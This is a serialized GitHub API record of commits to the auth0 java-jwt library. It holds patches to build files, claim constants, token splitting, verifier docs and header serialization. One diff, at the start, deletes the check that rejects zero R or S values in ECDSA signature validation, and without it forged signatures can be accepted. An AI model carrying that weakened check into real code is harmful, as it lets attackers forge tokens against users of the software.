deletionsKufiles]}(jaY  (1d2544f67fe81ca584deb7896d2abc0b833753fafilename>lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javastatusmodifiedjY  K jY  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3135ba7893ea60882500fa509c6d98fe48a4f0f8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3135ba7893ea60882500fa509c6d98fe48a4f0f8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=3135ba7893ea60882500fa509c6d98fe48a4f0f8patchX  @@ -188,11 +188,6 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
-        // check for 0 r or s here since we have the values
-        if (BigInteger.ZERO.equals(r) || BigInteger.ZERO.equals(s)) {
-            throw new SignatureException("R or S value cannot be zero.");
-        }
-
         BigInteger order = publicKey.getParams().getOrder();
 
         // R and S must be less than Nuau(52e2ab81b711660e911d48de47676674ff902365}(sha(52e2ab81b711660e911d48de47676674ff902365node_idEC_kwDOAQtL0doAKDUyZTJhYjgxYjcxMTY2MGU5MTFkNDhkZTQ3Njc2Njc0ZmY5MDIzNjUcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T04:06:20Zu	committer}(jY  António Pedro SantosjY  aps@dnxt.ptjY  2022-09-26T04:06:20Zumessage5Merge branch 'master' of github.com:DNXT-S-A/java-jwttree}(jY  (12777289afffb6048af278665859a172346c7ce3url^https://api.github.com/repos/auth0/java-jwt/git/trees/12777289afffb6048af278665859a172346c7ce3ujY  `https://api.github.com/repos/auth0/java-jwt/git/commits/52e2ab81b711660e911d48de47676674ff902365
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzElPAAKCRAQJVoVuKaC
BiuOAQC4krdsqW/i/FcVsmI0TIqEp2HHOD4fnKf+VeAocqMmkQEA/7KvkWAfflPG
YA7uCpN6FSsk89V5h4Qkhvhf9cR4rAs=
=F3XD
-----END PGP SIGNATURE-----payloadX@  tree 12777289afffb6048af278665859a172346c7ce3
parent 7b901d43ee8eddd4cb967259bd4567a6c605a8fb
parent 5e10a4095f42d1b9e27df5fd51c1b44e32c66647
author António Pedro Santos <aps@dnxt.pt> 1664165180 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664165180 +0100

Merge branch 'master' of github.com:DNXT-S-A/java-jwt
uujY  \https://api.github.com/repos/auth0/java-jwt/commits/52e2ab81b711660e911d48de47676674ff902365html_urlQhttps://github.com/auth0/java-jwt/commit/52e2ab81b711660e911d48de47676674ff902365comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/52e2ab81b711660e911d48de47676674ff902365/commentsjY  }(loginaps-dnxtidJjY  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3jY  %https://api.github.com/users/aps-dnxtjY  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujY  }(jZ  aps-dnxtjZ  JjY  MDQ6VXNlcjc3NDYxNDA0jZ  4https://avatars.githubusercontent.com/u/77461404?v=4jZ  h3jY  %https://api.github.com/users/aps-dnxtjY  https://github.com/aps-dnxtj
Z  /https://api.github.com/users/aps-dnxt/followersjZ  <https://api.github.com/users/aps-dnxt/following{/other_user}jZ  5https://api.github.com/users/aps-dnxt/gists{/gist_id}jZ  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}jZ  3https://api.github.com/users/aps-dnxt/subscriptionsjZ  *https://api.github.com/users/aps-dnxt/orgsjZ  +https://api.github.com/users/aps-dnxt/reposjZ  6https://api.github.com/users/aps-dnxt/events{/privacy}jZ  5https://api.github.com/users/aps-dnxt/received_eventsjZ  UserjZ  uparents](}(jY  (7b901d43ee8eddd4cb967259bd4567a6c605a8fbjY  \https://api.github.com/repos/auth0/java-jwt/commits/7b901d43ee8eddd4cb967259bd4567a6c605a8fbjY  Qhttps://github.com/auth0/java-jwt/commit/7b901d43ee8eddd4cb967259bd4567a6c605a8fbu}(jY  (5e10a4095f42d1b9e27df5fd51c1b44e32c66647jY  \https://api.github.com/repos/auth0/java-jwt/commits/5e10a4095f42d1b9e27df5fd51c1b44e32c66647jY  Qhttps://github.com/auth0/java-jwt/commit/5e10a4095f42d1b9e27df5fd51c1b44e32c66647uestats}(totalKw	additionsKM	deletionsK*ufiles](}(jY  (73f58ddbf2869d87213816dd820f282bf8b1b38afilename.circleci/config.ymlstatusmodifiedj<Z  Kj=Z  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=52e2ab81b711660e911d48de47676674ff902365patchXB  @@ -22,14 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.html
+  # run-api-diff:
+  #   steps:
+  #     # run apiDiff task
+  #     - run: ./gradlew apiDiff
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.txt
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -41,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+  # api-diff:
+  #   docker:
+  #     - image: openjdk:11.0-jdk
+  #   steps:
+  #     - checkout-and-build
+  #     - run-api-diff
+  #   environment:
+  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #     TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+  # api-diff:
+  #   jobs:
+  #     - api-diffu}(jY  (7509d0787753fa4dbbf7dbee8737c16d17189653jBZ  .shiprcjDZ  addedj<Z  Kj=Z  K jFZ  KjGZ  Whttps://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/.shiprcjIZ  Vhttps://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/.shiprcjKZ  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  t@@ -0,0 +1,6 @@
+{
+  "files": {
+    "README.md": []
+  },
+  "prefixVersion": false
+}
\ No newline at end of fileu}(jY  (bbc166c1480323d3f83909dd19a5fd167e9e92d7jBZ  	README.mdjDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  Yhttps://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/README.mdjIZ  Xhttps://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/README.mdjKZ  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -199,18 +199,18 @@ By using a `KeyProvider` you can change in runtime the key used either to verify
 - `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
 
 
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
 
 ```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
 final RSAPrivateKey privateKey = //Get the key instance
 final String privateKeyId = //Create an Id for the above key
 
 RSAKeyProvider keyProvider = new RSAKeyProvider() {
     @Override
     public RSAPublicKey getPublicKeyById(String kid) {
         //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
+        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
         return (RSAPublicKey) publicKey;
     }
 u}(jY  (ec991f9aa12cb8a8a72b26ef0ad7e2c38532696ajBZ  (gradle/wrapper/gradle-wrapper.propertiesjDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  |https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/gradle%2Fwrapper%2Fgradle-wrapper.propertiesjIZ  {https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/gradle%2Fwrapper%2Fgradle-wrapper.propertiesjKZ  https://api.github.com/repos/auth0/java-jwt/contents/gradle%2Fwrapper%2Fgradle-wrapper.properties?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X/  @@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.7.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.2-bin.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/distsu}(jY  (8b28a03f5cd5cc0fae2c53a39ee42ac2471cab39jBZ  lib/build.gradlejDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  bhttps://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fbuild.gradlejIZ  ahttps://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fbuild.gradlejKZ  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -50,7 +50,7 @@ java {
 compileJava {
     exclude 'module-info.java'
     // Required to be compatible with JDK 8+
-    options.compilerArgs = ['--release', "8"]
+    options.release = 8
 }
 
 javadoc {
@@ -105,7 +105,8 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
+    options.release = 8
+    options.compilerArgs = ["-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {u}(jY  (1107f313a307435263d4cbd9c476d14463d5decajBZ  1lib/src/main/java/com/auth0/jwt/HeaderParams.javajDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -10,20 +10,20 @@ private HeaderParams() {}
     /**
      * The algorithm used to sign a JWT.
      */
-    public static String ALGORITHM = "alg";
+    public static final String ALGORITHM = "alg";
 
     /**
      * The content type of the JWT.
      */
-    public static String CONTENT_TYPE = "cty";
+    public static final String CONTENT_TYPE = "cty";
 
     /**
      * The media type of the JWT.
      */
-    public static String TYPE = "typ";
+    public static final String TYPE = "typ";
 
     /**
      * The key ID of a JWT used to specify the key for signature validation.
      */
-    public static String KEY_ID = "kid";
+    public static final String KEY_ID = "kid";
 }u}(jY  (07c86a4c59c91e22c3b4cd56aac8f0275042e784jBZ  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javajDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(jY  (c55097169a2b3b3a28b61467cafc815691308e38jBZ  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javajDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -13,43 +13,43 @@ private RegisteredClaims() {
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
-    public static String ISSUER = "iss";
+    public static final String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
-    public static String SUBJECT = "sub";
+    public static final String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
-    public static String AUDIENCE = "aud";
+    public static final String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
-    public static String EXPIRES_AT = "exp";
+    public static final String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
-    public static String NOT_BEFORE = "nbf";
+    public static final String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
-    public static String ISSUED_AT = "iat";
+    public static final String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
-    public static String JWT_ID = "jti";
+    public static final String JWT_ID = "jti";
 
 }uJ     }(jY  (6fa731c5c9ed784b2d2a4d8537349bfa05f386cajBZ  /lib/src/main/java/com/auth0/jwt/TokenUtils.javajDZ  modifiedj<Z  Kj=Z  K jFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -12,6 +12,9 @@ abstract class TokenUtils {
      * @throws JWTDecodeException if the Token doesn't have 3 parts.
      */
     static String[] splitToken(String token) throws JWTDecodeException {
+        if (token == null) {
+            throw new JWTDecodeException("The token is null.");
+        }
         String[] parts = token.split("\\.");
         if (parts.length == 2 && token.endsWith(".")) {
             //Tokens with alg='none' have empty String as Signature.u}(jY  (2756ddd88142eff2aa756aad6bc78facd09c3c21jBZ  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajDZ  modifiedj<Z  K
j=Z  KjFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(jY  (b4adcf5c6fd64b478abb9110c29508819a5236eajBZ  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting
+ * {@link com.auth0.jwt.interfaces.JWTVerifier} is thread-safe.
  */
 public interface Verification {
 u}(jY  (8649ec90a1c0e56ad2ad8b02d71bc3804b2c6129jBZ  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javajDZ  modifiedj<Z  Kj=Z  K jFZ  KjGZ  https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javajIZ  https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javajKZ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  X  @@ -52,4 +52,11 @@ public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         String token = "two.parts";
         TokenUtils.splitToken(token);
     }
+
+    @Test
+    public void shouldThrowOnSplitTokenWithNullValue() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token is null.");
+        TokenUtils.splitToken(null);
+    }
 }
\ No newline at end of fileu}(jY  (42f4894e61cac4fe01984ca8f9c080cc029922c9jBZ  settings.gradlejDZ  modifiedj<Z  Kj=Z  KjFZ  KjGZ  _https://github.com/auth0/java-jwt/blob/52e2ab81b711660e911d48de47676674ff902365/settings.gradlejIZ  ^https://github.com/auth0/java-jwt/raw/52e2ab81b711660e911d48de47676674ff902365/settings.gradlejKZ  qhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=52e2ab81b711660e911d48de47676674ff902365jMZ  @@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 ueu(8f597b115940b492ccd19215d1879c33518feaf2}(sha(8f597b115940b492ccd19215d1879c33518feaf2node_idEC_kwDOAQtL0doAKDhmNTk3YjExNTk0MGI0OTJjY2QxOTIxNWQxODc5YzMzNTE4ZmVhZjIcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-15T13:36:02Zu	committer}(jZ  James AndersonjZ  jim.anderson@auth0.comjZ  2022-03-15T19:34:34Zumessage*[SDK-3171] Fix header claims serializationtree}(jZ  (bbc8c949fd3ab4bd0af8c47b7bdbda909cad5f48url^https://api.github.com/repos/auth0/java-jwt/git/trees/bbc8c949fd3ab4bd0af8c47b7bdbda909cad5f48ujZ  `https://api.github.com/repos/auth0/java-jwt/git/commits/8f597b115940b492ccd19215d1879c33518feaf2
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujZ  \https://api.github.com/repos/auth0/java-jwt/commits/8f597b115940b492ccd19215d1879c33518feaf2html_urlQhttps://github.com/auth0/java-jwt/commit/8f597b115940b492ccd19215d1879c33518feaf2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8f597b115940b492ccd19215d1879c33518feaf2/commentsjZ  }(login
jimmyjamesidJ7 jZ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jZ  'https://api.github.com/users/jimmyjamesjZ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujZ  }(jZ  
jimmyjamesjZ  J7 jZ  MDQ6VXNlcjI3NjIyNQ==jZ  2https://avatars.githubusercontent.com/u/276225?v=4jZ  h3jZ  'https://api.github.com/users/jimmyjamesjZ  https://github.com/jimmyjamesjZ  1https://api.github.com/users/jimmyjames/followersjZ  >https://api.github.com/users/jimmyjames/following{/other_user}jZ  7https://api.github.com/users/jimmyjames/gists{/gist_id}jZ  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jZ  5https://api.github.com/users/jimmyjames/subscriptionsjZ  ,https://api.github.com/users/jimmyjames/orgsjZ  -https://api.github.com/users/jimmyjames/reposjZ  8https://api.github.com/users/jimmyjames/events{/privacy}jZ  7https://api.github.com/users/jimmyjames/received_eventsjZ  UserjZ  uparents]}(jZ  (fef3ccf0e03b4557faa110432466c631c0cc3fffjZ  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffjZ  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalMj	additionsK	deletionsKwufiles](}(jZ  (ca6e391837aa1c176729dfb192357ef87be634acfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj[  Kj[  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=8f597b115940b492ccd19215d1879c33518feaf2patchX  @@ -3,9 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.ClaimsHolder;
-import com.auth0.jwt.impl.PayloadSerializer;
-import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.impl.*;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -34,16 +32,17 @@ public final class JWTCreator {
     static {
         mapper = new ObjectMapper();
         module = new SimpleModule();
-        module.addSerializer(ClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
         mapper.registerModule(module);
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
     private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
         this.algorithm = algorithm;
         try {
-            headerJson = mapper.writeValueAsString(headerClaims);
-            payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));
+            headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
+            payloadJson = mapper.writeValueAsString(new PayloadClaimsHolder(payloadClaims));
         } catch (JsonProcessingException e) {
             throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
         }u}(jZ  (30f6ab186654d45456d1725d07bf5463902cec1dj[  6lib/src/main/java/com/auth0/jwt/impl/ClaimsHolder.javaj[  modifiedj[  Kj[  Kj[  Kj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X  @@ -6,11 +6,11 @@
 /**
  * The ClaimsHolder class is just a wrapper for the Map of Claims used for building a JWT.
  */
-public final class ClaimsHolder {
+public abstract class ClaimsHolder {
     private Map<String, Object> claims;
 
-    public ClaimsHolder(Map<String, Object> claims) {
